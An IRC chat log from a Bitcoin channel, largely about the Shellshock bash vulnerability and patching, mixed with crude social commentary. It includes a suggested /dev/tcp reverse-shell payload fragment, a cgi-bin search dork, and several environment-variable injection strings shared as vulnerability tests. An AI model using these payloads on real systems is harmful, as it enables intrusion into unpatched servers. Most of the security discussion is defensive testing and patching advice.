mike_c: !s cgi-bin
mike_c: sweet, paypal!
Naphex: lots of .govs love it too
Naphex: they're quick to update
Naphex: inurl:cgi-bin - assume direct control
mircea_popescu: o look who's here
mircea_popescu: who's life Naphex
Naphex: i'm always here :P
Naphex: fine, pretty boring actually
assbot: Whoops! Somebody divided by zero... | - Bitcoin Exchange Platform with 0% transaction fees
Naphex: what a stupid payload to even ping back
Naphex: could've just used a reverse echo "code" >& /dev/tcp/ 0>&1
Naphex: instead of wget
asciilifeform: so when do we learn the name of the malicious-c-contest artist who gave us 'shellshock' ?
asciilifeform: (and yes - we know author of 'heartbleed.' and he's alive and well and still contributing code to public projects, afaik. why? don't ask me)
mircea_popescu: "Username/password combinations don’t cut it anymore, and Two-Factor authentication is a great way to help secure user accounts. If you have an account with a system that supports it, you should be using it."
mircea_popescu: from brandon potter's expertise den
assbot: MFSA 2014-73: RSA Signature Forgery in NSS
mircea_popescu: in unrelated news : i've added an email filter rule to drop anything with "bounce" in the headers. best rule ever.
mircea_popescu: jurov PKI was unusable for reason of insecurity anway
mircea_popescu: ThickAsThieves: they wanna jedi mind trick the fappening and NSA etc << there's probably a feminst and an environmentalist somewhere in the us that actually will buy into it.
mircea_popescu: and they'll probably meet, and have a child.
mircea_popescu: and it'll have a funny little moustache.
asciilifeform: feminist environmentalist dies of contradiction - hormonal pills, pissed out into the ground water, destroying rare fish - etc.
jurov: such gems i keep finding today. hardened bluetooth!!1
assbot: BitStash
mircea_popescu: bounce: VERY DANGEROUS UBERHACKERS << ever see a woman with a little girl trying to cook while the little girl stirred some random items in a smaller pot immitating her ?
mircea_popescu: this is exactly what's going on. kids are wired to monkey, so they monkey.
asciilifeform: jurov: mega-lol! great find.
mircea_popescu: asciilifeform the guy is a 65 lb environmentalist vegan artist with a lot of etsy success, on lesswrong and patronize or w/e that donation site is.
asciilifeform: which guy
mircea_popescu: the feminist is a 650 lb mountain dew and icecream behemoth with a very popular twitter profile, and a lot of lj experience.
mircea_popescu: after he rolls her around in flour to see where it sticks they have long soulfull talk
asciilifeform: jurov: am i the only one who instantly thought 'dust bin' ?
mircea_popescu: and decide that condoms are bad for africa and pills bad for the environment
mircea_popescu: since they can't find a sponge that comfortably fits a calender
mircea_popescu: they end up having kids.
jurov: asciilifeform: me too. but that's the usg-approved look
asciilifeform: i finally realized - they cribbed the 'dust bin' from -- apple.
asciilifeform: (who, of late, have actually been selling a computer in that shape.)
mircea_popescu: who's dekker3d
mircea_popescu: ;;seen Dekker3D
gribble: Dekker3D was last seen in #bitcoin-assets 11 weeks, 4 days, 0 hours, 40 minutes, and 47 seconds ago: <Dekker3D> I remember someone who used this.
mircea_popescu: mats_cd03: language drifts news at 11 << language drifting so as to serve the interests and needs of the upper class is fine.
mircea_popescu: this bullshit where the lower classes are pushing the language out of shape because they're filthy and stupid can not be tolerated.
mircea_popescu: not all language change is created equal.
mircea_popescu: chetty: does security exist in nature? << yes, actually. entropy securely flows one way, and god help you if you mess with mass conservation.
mircea_popescu: mike_c: meet behind the school at noon << yo!
mike_c: seemed to be heading that direction :)
assbot: • View topic - Linux/Bash0day alias Shellshock alias Bashdoor
mircea_popescu: bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively << you are very naive to imagine the terminology has anything to do with it. point in case : if in a room with a woman that wants to fuck me, i don't need to speak her language. point
mircea_popescu: ing even may be an excessive requirement. if on the other hand in a room with a woman that doesn't want to, you can be e a poe for all the good it'll do you.
mircea_popescu: this is exactly the case in here. to imagine one can somehow magically learn "the language" without a) passing the requisite tests and b) interiorising the culture that spawned that language is naive. and if a and b is satisfgied, the form of language is really moot anyway.
mircea_popescu: the variety speak is not the words, it's the variety.
mircea_popescu: which is why you can have good programmers that speak english, russian or whatever else natively, as well as c or lisp or whatever else ; but you can't make someone a good programmer by teaching him to say i++;
mircea_popescu: people figured it'd work maybe if you not teach him to say goto 10
mircea_popescu: but really, that's just as much nonsense.
wywialm: mircea_popescu, that sounds very much like Wittgenstein - correct me if i'm wrong
mircea_popescu: it'd better, inasmuch wittgenstein was right :)
mircea_popescu: for that matter, it's a direct pastiche of knight, “You cannot fix a machine by just power-cycling it with no understanding of what is going wrong.”
wywialm: I recall something close stated in Investigations, in the flavour of "the meaning is use"
mircea_popescu: wywialm no, you're right, it's just... it's a fundamental idea that saw much expression.
mircea_popescu: "map is not the territory", "stat rosa pristina nomine, nomina nuda tenemus", pick your poison.
wywialm: Oh, yeah. In this we certainly agree
kuzetsa: Naphex, asciilifeform: yeah... I've had to stop neglecting a production server and finally run updates today because of shellshock :(
mircea_popescu: jurov: is anyone willing to pay "we have read the code for you" kind of security? <<< yes. but it's like the case with drinking water : people ARE wiling to pay for drinking water ; people are not willing to pay to have a dam constructed.
mircea_popescu: so if your per line price can be few enough satoshi, this is a valid business model.
asciilifeform: obligatory:
assbot: The Underhanded C Contest
Naphex: kuzetsa: you should check logs, make sure you're not owned
Naphex: grep for "() {"
asciilifeform: mircea_popescu: code auditing without a serious 'poison pill contract' turns into 'elephant repellant.'
mircea_popescu: jurov: redhat would be in a position to do it << redhat is a usg subcontractor. this is like saying goldman sachs is in a position to break the aml/kyc bullshit ring.
mircea_popescu: no, they aren't ; if they were it'd be suicidal.
mircea_popescu: asciilifeform the wot is the poison pill.
mircea_popescu: consider the culture shock a certain justin o'connell endured at my hands :
assbot: So the Dollar Vigilante scam ring is going to jail. pe Trilema - Un blog de Mircea Popescu.
mircea_popescu: he lives in a world where being a scummy fuckwit is okay, because everyone is a scummy fuckwit.
mircea_popescu: the wot cuts right through that.
mircea_popescu: all the current fucktards calling themselves "developers" would find themselves in the positon of taaki, maxwell et co stat, once someone started leveraging that model aginst their scummy, indolent, ignorant idiocy.
mircea_popescu: once the "you have one chance, don't fuck it up" model gets implemented universally, we'll have a wholesale return to the pleasant mores of the society constructed on enforcing the same principle upone women only.
asciilifeform: security by auditing extant mega-turds is rather like muscle-powered airplane
mircea_popescu: except, twice as much, plus all the other benefits of not having to deal with the insane arbitrariety of only doing it to half the population
asciilifeform: yes, they exist. yes, olympic athletes have lifted two metres high for two minutes.
mircea_popescu: asciilifeform all flight started with the galley slave.
mircea_popescu: the reason airbus is a thing is because the romans forced men to push oars.
mircea_popescu: 2k years ago
asciilifeform: yes - but where are the oars on 'airbus' ?
mircea_popescu: same place your elithrae are.
mircea_popescu: just because they meanwhile fell off doesn't mean you didn't need them to get here.
asciilifeform: mircea_popescu: the basic problem is that anyone who tells you that he can do this job - is a liar, right off the bat
mircea_popescu: i don't think you properly understand grinding.
asciilifeform: so you end up with a sub-wot for this that's 100 percent scammer by weight.
mircea_popescu: in order for the job to be done, nobody needs to do it.
asciilifeform: nothing to distill.
mircea_popescu: which stone in the roller made the quartz round ?
mircea_popescu: you don't need round stones to produce round stones. you just need a rotative process.
asciilifeform: which stone in the roller << this is the basic premise behind 'many eyes' theory, - and we know it is empirically false.
mircea_popescu: it's only empirically false because it's so easy to lie.
mircea_popescu: sign where you read. no longer false.
mircea_popescu: let's model this. people with young children go camping. 20 adults, 10 children. case 1, "people generally" look after the kids.
mircea_popescu: they come home with eight in the best case.
mircea_popescu: case 2, every hour of the day one adult is in charge of watching the kids. if anything happens he's in for murder.
mircea_popescu: unless a meteor falls, they're coming home with 10 kids.
mircea_popescu: there's no such thing as "the army is generally watching the surroundings". no dude, sentinels, since 2000 years ago and never with an exception since.
mircea_popescu: in fact, it's the sentinels that distinguish army from band of drunken revelers.
asciilifeform: mircea_popescu: different gedankenexperiment. take redditgurlz, say a dozen. lock them in a dungeon, no food until invent hydrogenbomb.
asciilifeform: do you get bomb ?
mircea_popescu: i will, yes.
mircea_popescu: as long as you let me beat them selectively i'll have my bomb, and some adoring princesses to follow me around to boot.
asciilifeform: russian saying 'you can't mold a bullet from shit' isn't strictly true - you could, had you sufficient energy, convert the shit into diamond and have bullet
mircea_popescu: besides. there's iron in the heme that the shit is mostly comprised of.
asciilifeform: but if engineer tells you this, you will kick him.
mircea_popescu: depends of the context.
asciilifeform: context of 'i need a box of bullets'
mircea_popescu: the goal is not the context.
mircea_popescu: if he says this sitting right next to a lathe i'm going to smack his head on the lathe.
mircea_popescu: if in a worldwide septic tank, we're going for it.
mircea_popescu: you, in fact, are currently and have been for a year, molding a bullet.
mircea_popescu: out of...
asciilifeform: not easy.
mircea_popescu: whether to make the piss freeze or to try and electrolytically separate iron from shit is an exercise left for the engineer.
asciilifeform: notice that the analogy is closer than one might like
asciilifeform: to create the bullet from shit-diamond, it is necessary to remove most of the extraneous matter.
kuzetsa: [14:59:14] <+Naphex> kuzetsa: you should check logs, make sure you're not owned << logs of what?
asciilifeform: conceivably, most of the mass present.
mircea_popescu: asciilifeform selective beating is selective beating. people adapt, young people especially so, women most of all.
mircea_popescu: kuzetsa the server in question ?
mike_c: these methods (beating, wot, etc) could be applied to new software
mike_c: if i wrote a new btc wallet (or managed development thereof), it would be secure for fear of above methods
kuzetsa: mircea_popescu: but... I don't have any cgi on the httpd, nor are any of the other daemons the sort which use environment variables to pass stuff around (using bash or otherwise)
mike_c: but to audit existing btc wallet? forget it.
mircea_popescu: mike_c notice how little beating is actually needed, among civilised adults that interiorise the wot model.
Naphex: apache still passes stuff through env by default
mircea_popescu: kuzetsa reading logs never killed anyone.
Naphex: but it should be no problem unless thet env hits apache
kuzetsa: Naphex: I don't use apache
mircea_popescu: if the process of figuring out what is safe worked, we wouldn't have the bug in the first place.
Naphex: nginx / php fpm/ fast cgi all pass env as well
asciilifeform: also it is possible that i used a bad example. man has indeed invented hydrogen bomb. but securing 50 years of turdolade by 'fixing mistakes' is more akin to jumping 1km. no athlete has jumped 1km, and beatings will not create one.
Naphex: and if that env hits bash it runs
mircea_popescu: asciilifeform point is not to fix anything.
Naphex: kuzetsa: mail servers will pass through env as well, on the pipeline while filtering them mails
mircea_popescu: we're not here for a goal, we're here because a cause. major fucking difference.
Naphex: so any mail filters, spam filters
mircea_popescu: Naphex also some ssl/ssh/etc
kuzetsa: Naphex: I don't have any mail daemon on that particular system either
mike_c: what? how is env getting set if no cgi/bash shit?
Naphex: mircea_popescu: yeah but that doesn't hit sh until successful login
Naphex: mike_c: env is general POSIX
Naphex: all apps use it
rithm: my spam filter is roll-your-own
asciilifeform: until the entire machine stack (chemical, electronic, os, etc) fits in a human mind - doesn't have to be that of alcoholic bum off the street, could be six people alive - then you have a system a reasonable man will sign his life under.
Naphex: and pass it around, if corrupted env hits bash it runs and the end
mike_c: yes, but i thought shocky thingy required cgi/bash to chane env
rithm: my testing alligns with what Naphex just said about authentication
Naphex: mike_c: no, you can change env regardless, its just that if bash interpets the env it runs
mike_c: shit, i gotta read more.
mircea_popescu: asciilifeform this is where you're wrong. because consider, what is your definition of "human mind" ? could you in fact have two human minds that are identically the same one mind for this purpose ? turns out you can, it's the most important field of research of the vory.
asciilifeform: one can chop heads if job is not done, but if it isn't doable given the available constraints - you just end with a tall pile of heads
mircea_popescu: how is it done ? why, by not acting towards a goal, but from a cause.
kuzetsa: mike_c: I'm certain that the public-internet-facing daemons on the system in question don't pass stuff around using environment variables
asciilifeform: well sure - ultimately all organization is based on this
Naphex: rithm: even if you're spam filter is roll your own, if SUBJECT gets passed in Env along the pipeline, and if on the pipeline something hits /bin/sh / /bin/bash it will run
Naphex: just patch it, and killall -TERM sh/ bash and you're set
mike_c: kuzetsa: ok, thanks
asciilifeform: but the analogy falls apart here. what we have, in organization, is cray's 1024 chickens.
kuzetsa: Naphex: yeah, I decided to compile a new kernel anyway so I rebooted after making sure bash was patched :)
mircea_popescu: ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? <<< you know i don't actually read all that much code at all. i guess i could, more or less, but i wouldn't trust myself to understand it. by which i don't mean "what it does", but i do mean "what we can absolutely say about this program"
mircea_popescu: Naphex wasn't the patch bad ?
asciilifeform: unless you can actually build 'borg' that share a mind, rather than just army or clan, the organization cannot understand mechanisms too large for the cleverest member to understand. for any useful value of 'understand.'
asciilifeform: this is the fundamental reason why 'software sucks'
mircea_popescu: asciilifeform mechanisms are simple.
kuzetsa: mircea_popescu: there's 2 different patches
mike_c: old news? asciilifeform: Stephane Chazelas is author.
mircea_popescu: that is the thing. they only seem complex to the lazy and to the stupidly vain. but otherwise, the mechanisms are damned simple.
mircea_popescu: kuzetsa a yea nm.
Naphex: mircea_popescu: gentoo has good patch out
asciilifeform: low intrinsic complexity - yes. encrusted with 'accidental complexity - also yes.
mircea_popescu: bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines << alternatively skip the lawyers thing and hurt people that fuck up.
Naphex: 201409-10 [U] Bash: Code Injection (Updated fix for GLSA 201409-09) ( app-shells/bash )
mircea_popescu: rather than dedicating yourself to being friends with idiots, dedicate yourself to being enemitous to idiots.
kuzetsa: the initial "fix" was for a parsing flaw described in CVE-2014-6271 (shellshock) which a lot of distros patched but then didn't get CVE-2014-7169 as well (a different type of issue with bash)
xmj: lovely
xmj: kuzetsa: freebsd patched 6271 yesterday 17:04 UTC and 7169 today 15:38 UTC
rithm: just wait until drive-by downloads start exploiting dd-wrt or something
rithm: then it'll get fun
kuzetsa: yeah, I have 7169 patched
mircea_popescu: ;;google debian 7169 patch
gribble: CVE-2014-7169: Bash Fix Incomplete, Still Exploitable | Hacker News: <>; What is the CVE-2014-6271 bash vulnerability, and how do I fix it?: <>; (CVE-2014-6271) bug introduced, and what is the patch that fully: (1 more message)
kuzetsa: ubuntu dragged their backside too
mircea_popescu: debian != ubuntu omg.
nubbins`: debian = ubuntu in the sense that england = usa
mircea_popescu: export badvar='() { (a)=>\';bash -c "hackerfile echo vulnerable";grep vulnerable hackerfile||echo safe << if anyone wants to test it
Naphex: mircea_popescu: its a stupid check lol
assbot: This is being actively exploited. We (CloudFlare) put in place WAF rules to bloc... | Hacker News
asciilifeform: mircea_popescu: recall how self-proclaimed (or accused...) alchemists were treated. do you mean to say that, if they were put through the right punishments, they would have discovered neutron bombardment synthesis of Au at economical price?
rithm: cloudflare examples
Naphex: mircea_popescu: env varname='() { :; }; echo CodeInjectionHereWorks' bash
Naphex: safe check
mike_c: so.. just b/c you have vulnerable bash doesn't mean you got pwned.
mircea_popescu: Naphex no thaths the 6271 one
kuzetsa: mircea_popescu: I was just thinking the same thing
mike_c: any good way to check if you're actually vulnerable?
mircea_popescu: this is the 7169 one, where it fucks up the exporting circumventing the fix
mircea_popescu: mike_c i just quoted it above
mircea_popescu: i also quoted a test for 6271 yest.
mircea_popescu: !s from:mircea_popescu env
mike_c: yes, that checks if bash is vuln.
mike_c: doesn't mean your box is open.
Naphex: mike_c: check is simple cause bash shouldn't run anything in the env
mircea_popescu: mike_c checking if your box is open is something you'll haveto do yourself.
mike_c: of course. so you have vulnerable bash. doesn't mean someone can hit it through your web server. i guess i gotta construct applicable http request.
Naphex: var='() { :;}; echo whatever commands you put here runs you are vulnerable' bash
rithm: bash: warning: varname: ignoring function definition attempt
rithm: bash: error importing function definition for `varname'
mircea_popescu: mike_c it's a very large hole. odds of no pencildick managing to find it, ever... hm
rithm: seeing something like that is bueno
mircea_popescu: so i just got totally outcarded. i find this nice chocolatier, buy three pounds of mixed chocolates in three boxes, ask for their card, and leave.
mircea_popescu: their card has nothing but their name on it, which is kinda generic. nothing else. the boxes have NOTHING. no phone. no address. no website. nothing whatsoever.
mike_c: not even a keyid?
mircea_popescu: not even a keyid.
mircea_popescu: they have a specially printed bag
mircea_popescu: which has like a picture on it and that's that.
mircea_popescu: ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe? << the most there is is me going on the record that .6.* is probably okay.
asciilifeform: also wtf means 'safe' ?
mircea_popescu: TomServo: Would an audit even be useful without a specification? << perhaps, yes.
mircea_popescu: doctors have been doing ok auditing the human body w/o any spec for a while now.
mircea_popescu: asciilifeform ^ :D
asciilifeform was never obsessed with 'spec' - but does think that one must arrive at what question is being answered before attempt is meaningful
asciilifeform: for human body, death is the unambiguous spec
asciilifeform: to test against.
mircea_popescu: "what means safe" "what means healthy"
rithm: fuzz the captcha!
mike_c: gee, every single one of my ec2 servers is scheduled for a reboot now.
mircea_popescu: mike_c: security audit is basically impossible. <<< im unconvinced.
mircea_popescu: it is impossible if one allows runaway complexity for "ux" and other idiotic reasons. but then again so is any scenario of chasing two rabbits.
mircea_popescu: in a security environment, security is auditable provided the comittment to security is not compromised in order to listen to some ziggler impersonator.
mircea_popescu: !up myriarity
asciilifeform: mircea_popescu: runaway complexity may be intrinsic in von neumann paradigm.
mircea_popescu: maybe. still, a lot can be done until one runs into such walls.
mike_c: my point is you can't take existing turd and audit it to security.
mike_c: if you start with security in mind, then audits can be useful process during development.
mircea_popescu: certainly right there.
mircea_popescu: myriadgetsmehard you know you're voiced.
mircea_popescu: or were.
asciilifeform: and what's a 'ria' ?
mircea_popescu: lobbes: and the paper wasn't even peer reviewed << in that guy's case, peers can be a misnomer :p
mircea_popescu: The20YearIRCloud: the joys of people making money off of memes << nah, the hodl stuff is sa folk getting bitter butthurt at bitcoin's continued existence.
mircea_popescu: Transcript for 24-09-2014, 1337 lines <<< we've done it, everyone. i hereby call the end of the #b-a party. thanks for all the lines, it's been a hoot etc!
mod6: %p
atcbot: >> No data returned from << [PityThePool Hashrate]: 102.62 GH/s [iSpace Pool Hashrate]: 1.51 TH/s [P2P Hashrate]: 1.70 TH/s
jurov: drat. updated centos/ubuntu, still vulnerable
asciilifeform: so when do we get to see a public and fleshy punishment of author ?
kakobrekla: never?
kakobrekla: im just approximating here.
asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever.
kakobrekla: peer review scape goat?
asciilifeform: perhaps.
asciilifeform: i vaguely recall that mr. hearbleed was a pedigreed вредитель though.
asciilifeform: and still it was paraded as 'bug' - disembodied 'bug', that was placed there by the hand of god, or whatever
asciilifeform: and not by a pair of hands attached to a sniveling shill
mike_c: oh. (smacks face) I was talking about author of exploit before, not bug. sorry for misinformation.
nubbins`: you mean seggelmann or henson?
nubbins`: (or both?)
mike_c: 20 year old bug, good luck figuring out author.
asciilifeform: easier, in some cases, then modern piles of shit with 1000 authors
thestringpuller: mircea_popescu: the most there is is me going on the record that .6.* is probably okay. << This sounded like a cartoon. Like the Family Guy cut away where the dude throws him a parachute with an anvil in it and says, "That one is probably okay"
thestringpuller: not equating the two, just saying similar tone.
thestringpuller: dunno why I said "our"
punkman: !up Darkstone1
Darkstone1: I don't do voice, sorry.
Darkstone1: can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development.
Darkstone1: I'm strugging in what the best way to 'commercialize' this thing is.
mike_c: if it works.. run it?
Darkstone1: it certainly works, but as i said, i'm starting to lose intrest in further development. And i have a full-time job to attend to.
rithm: Darkstone1 find VC's to fund your new bitcoin trading exchange
Darkstone1: One of the questions i've been unable to answer is weither should sell the source code or only the product.
Darkstone1: it's not an exchange, its an trading bot.
rithm: Darkstone1, wite the whole thing yourself in PHP and release it to the world in production!
diametric: public trade bots are worthless.
Darkstone1: it's written in c++ with Qt.
punkman: well you can't really sell it without source
diametric: and i'd never run a trade bot i couldn't inspect the source for.
rithm: the source and the math of the engine is what is worth buying
rithm: if anything
punkman: maybe to some noobs with bitcents running Windows
Darkstone1: that i you shouldn't buy anything that you can't inspect the source for i can certainly agree with.
Darkstone1: but my parther thinks that selling the thing with source code is useless.
Darkstone1: it will just end up somewhere in the internet next week.
mircea_popescu: <kakobrekla> im just approximating here. << heh
punkman: Darkstone1, that's where the WoT helps
mike_c: the only thing worthwhile is the automation. make it easy for non-programmers to put in their own methodologies.
mike_c: sell to suckers, profit.
BingoBoingo: <Darkstone1> can i ask you guys a question? I have an relatively succesfull trading bot (multi-digit bitcoin gain since the beginning of this year) but i an starting to lose intrest in further development. << Sounds like keeping it in your pocket until it interests you again may be the best option
mircea_popescu: * asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever. <<< not quite whatever. currently the fashionable idiocies du jour still hold currency with the crowd, that "not the man, but what he's saying" and "we're all equal" and similar socialisms. they won't last the evening.
Darkstone1: I think there are too many -bad- platforms where people can put in their own stratety already.
mircea_popescu: <mike_c> 20 year old bug, good luck figuring out author. <<< right, because nothing ever can be documented past the lifespan of the average teenager.
Darkstone1: perhaps opinions of the masses differ.. but there is no way i'm going to insert my API keys in an online platform.
mike_c: hm, i suppose the average teenager is.. 16?
mircea_popescu: we know the name of the rose verse to come from bernardo of cluny, 1000 years ago. but keeping track who shat in the repos is too hard over two decades.
mircea_popescu: this entire shitfest won't survive me i tellya!
mike_c: ;;calc (13 + 14 + 15 + 16 + 17 + 18 + 19) / 7
mike_c: woot!
mircea_popescu: <thestringpuller> not equating the two, just saying similar tone. << we are kinda inhaviting a cartoon world atm
punkman: Darkstone1: yeah I doubt any of the hosted tradebots handle integer BTC amounts
mircea_popescu: <Darkstone1> but my parther thinks that selling the thing with source code is useless. << so let the partner run it'
assbot: Call for Oracle hosts Issue #85 orisi/orisi GitHub
assbot: [MPEX] [S.MPOE] 3102 @ 0.00074933 = 2.3244 BTC [-]
mircea_popescu: mike_c well yeah, almost 16, something
Darkstone1: punkpan: i use doubles. It's bad, i know. But it does not really matter as most exchanges send you the amounts in json floats anyway..
punkman: Darkstone1: no I just meant they'll never get to handle any serious amount of BTC
Darkstone1: oh. I'm not so sure.
Darkstone1: for example we have cryptotrader.
Darkstone1: which costs $40 a month.
Darkstone1: (totaly idiotic platform by the way...)
Darkstone1: wait a sec.
assbot: berndj-blackout +v failed; L1: 0, L2: 0
mircea_popescu: !up berndj-blackout
Darkstone1: 10 dollars a month.
Darkstone1: i dont think anyone would pay 10 dollars a month to trade pennies.
berndj-blackout: thanks mircea_popescu - just figuring out the cloak&dagger stuff :)
mircea_popescu: you need to be in assbot's l2 wot to selfvoice here.
berndj-blackout: ah, i see, i'm too random i suppose
mircea_popescu: Darkstone1 i paid 10 dollars a month numerous times to trade pennies in online games
asciilifeform: diametric: public trade bots are worthless << not only this; but any bot whose strategy is exactly known to others - is useless.
mircea_popescu: if what the delusion of being a "trader" costs is 10 bucks, plenty of takers.
fluffypony: same as the delusion of being an "investor"
asciilifeform: (in fact, i suspect that any bot whose strategy is not a game-theoretical-finesse-rape of other bots - is quite useless)
fluffypony: especially people who think they've "invested" in a cryptocurrency because they bought some
Darkstone1: i consider myself a neobee invector :P
diametric: neobee..
mircea_popescu: fluffypony speaking of hard reset :
assbot: RObotzi.S01.Ep2.Defect - YouTube
Darkstone1: at least i was.
fluffypony: mircea_popescu: are their English subs on that one at least?
mircea_popescu: asciilifeform well marketing is game theoretical finesse rape of other bots. except for some reason other bots insist on calling them people.
mircea_popescu: fluffypony just the video :D
mircea_popescu: ;;ident berndj-blackout
gribble: CAUTION: irc nick differs from otc registered nick. Nick 'berndj-blackout', with hostmask 'berndj-blackout!', is identified as user 'berndj', with GPG key id FAC02779DEC0DED1, key fingerprint BCB3F00CB5A64A16A31EFCE6FAC02779DEC0DED1, and bitcoin address None
ThickAsThieves: <+mircea_popescu> "what means safe" "what means healthy" /// such a semantic day!
Darkstone1: asciilifeform: i can partialy agree on that. But if i do not have an game-theory fitness ass raping bot. I tried but failed.
mircea_popescu: what do you mean by that ?
asciilifeform: consider an elementary case
assbot: The psychology of the bagholder pe Trilema - Un blog de Mircea Popescu.
asciilifeform: where you know that opponents are running, e.g., simple arbitrage bots, but each has a 'stop-loss' threshold
asciilifeform: and you know what the thresholds are
Darkstone1: *again*? no thank you, already read it.
asciilifeform: then you can, if your 'hammer' (ability to move price) is large enough, manipulate.
kakobrekla: i see this everyday - what ascii is describing
mircea_popescu: kakobrekla you might not be the only one.
mircea_popescu: Darkstone1 a okay then
kakobrekla: (or maybe im just imagining)
Darkstone1: And i am not an neobee bagholder. I sold everything after the crash and gained +50%.
asciilifeform: in fact, even if you do not know the actual strategies - you can discover the system's 'resonances' by repeated hammer blows.
mircea_popescu: Darkstone1 the point was, "how to build gt finesse bots"
mircea_popescu: asciilifeform works especially well if you're too big to fail, thoo.
asciilifeform: and yes, i must admit i worked on this. but let it go, from lack of hammer.
asciilifeform: other people - who have hammer - should be presumed to have worked on it, as well.
berndj-blackout: asciilifeform: won't any nonzero hammer work, given enough time to get a decent SNR?
asciilifeform: berndj-blackout: nope. to run with the mechanical analogy, the system has a certain amount of 'dampening'.
ben_vulpes: hammer wears
ben_vulpes: energy reservoir backing it empties.
mircea_popescu: dampening is right
ThickAsThieves: <+kakobrekla> (or maybe im just imagining) /// it wouldnt be ta otherwise
berndj-blackout: asciilifeform, add to that, use a spread-spectrum hammer or something
asciilifeform: to continue the oscillator analogy: nitwits running simple bots will show up as 'line spectra'.
Darkstone1: I'm fairly sure i've met bots specially crafted to screw my bots at one exchange once...
Darkstone1: it was a sad day.
ThickAsThieves: another sign that chinese exchanges are all bots/washing, the books are always balanced
ThickAsThieves: orderbooks*
ben_vulpes: would this actually be a frequency response thing?
asciilifeform: Darkstone1: if this is even remotely possible to do to you - and probably necessarily so if your bot is less complicated, than, say, 'eurisko' - give up.
mircea_popescu: really the proposition of making a living with trading bots is the response of the engineer who confronted with the fundamental impossibility of making money picking stocks decides to write a hard ai to do it.
mircea_popescu: exactly asciilifeform's "but we don't even know how to make computers yet!" sorta thing
ThickAsThieves: shit i dont even trust stop orders
ThickAsThieves: nevermind a bot
Darkstone1: asciilifeform It is no longer possible to do so. I belive i closed all gaps.
mircea_popescu: is this the famous last words competition ?
ThickAsThieves: be creative!
Darkstone1: except the one where a whale sells hundreds of bitcoins on all the exchanges where i'm active. But that probably a slim chance.
mircea_popescu: what could the tiger possibly do.
asciilifeform: Darkstone1: ever play 'core wars' ?
mircea_popescu: hundreds ?! uh.
asciilifeform: Darkstone1: or write a virus ?
Darkstone1: no i'll look it up.
ThickAsThieves: Darkstone1 this is how I trade at times
BingoBoingo: Come on, real trading insight comes from the gut!
asciilifeform: except the one where a whale sells hundreds of bitcoins << and your machine isn't buying cheapo coin in its wake?
fluffypony: oh I see we're calling the Bash bug "ShellShock" now
ThickAsThieves: elation=sell
fluffypony: I hope someone made a logo
BingoBoingo: You've got more serotogenic neurons in the ganglia there than in the brain
ThickAsThieves: teach your bots elation
fluffypony: I can't take these bugs seriously without a logo and an info site
BingoBoingo: ThickAsThieves: No, teach them fear, that sinking feeling in the pit of one's stomach!
ThickAsThieves: sure if you wanna make a bad trader
BingoBoingo: Hunger as well
ThickAsThieves: !up Darkstone1
BingoBoingo: !up Darkstone1
kakobrekla: shellshock payload
asciilifeform: !up berndj-blackout
kakobrekla: !s coinflow
berndj-blackout: thanks, but i'm likely to be idle for a while. should work on my rating i guess
kakobrekla: ;;gettrust assbot coinflow
gribble: WARNING: Currently not authenticated. Trust relationship from user assbot to user coinflow: Level 1: 0, Level 2: 0 via 0 connections. Graph: | WoT data: | Rated since: never
kakobrekla: anyone got a contact from this dude
kakobrekla: ;;seen parseval
gribble: parseval was last seen in #bitcoin-assets 41 weeks, 5 days, 19 hours, 24 minutes, and 53 seconds ago: <parseval> though, really, I think banning banks from handling bitcoin transactions is a good thing
mike_c: sry, btcalpha put coinflow out of bizness
kakobrekla: i just noticed - looking at logs - he is spamming my boxen
mike_c: i pwned his box for kicks too
mike_c: (j/k)
mircea_popescu: <fluffypony> I can't take these bugs seriously without a logo and an info site << these bugs got no ux!
fluffypony: damn straight
fluffypony: before announcing it they should at least have a logo contest
assbot: Zoo in coverup after groundhog dropped by de Blasio dies | New York Post
mircea_popescu: kakobrekla used to run a fund with PsychoticBoy
kakobrekla: wha???
kakobrekla: he seems a goner
ben_vulpes: awwwww ye
ben_vulpes: if these deals come through, i'm going to have such sweet projects lined up
ben_vulpes: and there are enough on the table that i should be making odds on how many close
BingoBoingo: << Guess the apple warrant canary disappeared because... warrant
assbot: Breaking: FBI Director says the bureau is talking to Apple and Google about new encryption settings. Story to come.
ben_vulpes: new encryption settings
ben_vulpes: the "let me fuck your shit up" switch must be enabled.
BingoBoingo: Eh, the new Apple stuff seems to have a bunch of built in side channels to keep syncing the device with the desktop easy
ThickAsThieves: kako, I owned coinflow in the end
ThickAsThieves: parseval is long gone
ThickAsThieves: afaik my friend hosting it let it lapse
ThickAsThieves: but i emailed him to check
kakobrekla: ThickAsThieves what are your plans with that thing anyway
ThickAsThieves: stopped all work on it
ThickAsThieves: had some decent plans back when there were more exchanges
ThickAsThieves: but now i'm all set
ThickAsThieves: in addition to coming to terms with what it really means to be a usian
asciilifeform: apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks.
ThickAsThieves: it's ok, now i'm sharpening my trading skillz
ThickAsThieves: enjoying it
asciilifeform: obligatory: sheckley's 'hour of battle' --
assbot: Error 403
[]bot: Bet placed: 4.29 BTC for Yes on "BTC Difficulty over 41Bn before November" Odds: 79(Y):21(N) by coin, 77(Y):23(N) by weight. Total bet: 7.17010104 BTC. Current weight: 80,404.
ben_vulpes: the gutenberg notices are longer than the story
pete_dushenski: <mircea_popescu> lord norwich is the english authority on venice << merci!
pete_dushenski: looks like asciilifeform rectothermal scan will be… a dog:
assbot: A Police Dog for the Digital Age: She Can Smell the USB Drive You're Hiding - Bloomberg
pete_dushenski: for stopping teh child pr0n!
asciilifeform: pete_dushenski: ancient item, search #b-a logs.
pete_dushenski: asciilifeform: apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << just because puppets talking "ignore" doesn't mean everyone ignores
pete_dushenski: !s usb dog
pete_dushenski: !s digital dog
kakobrekla: !s firewire cat
pete_dushenski: futility is you!
pete_dushenski: or maybe "thunderbolt terrier" ?
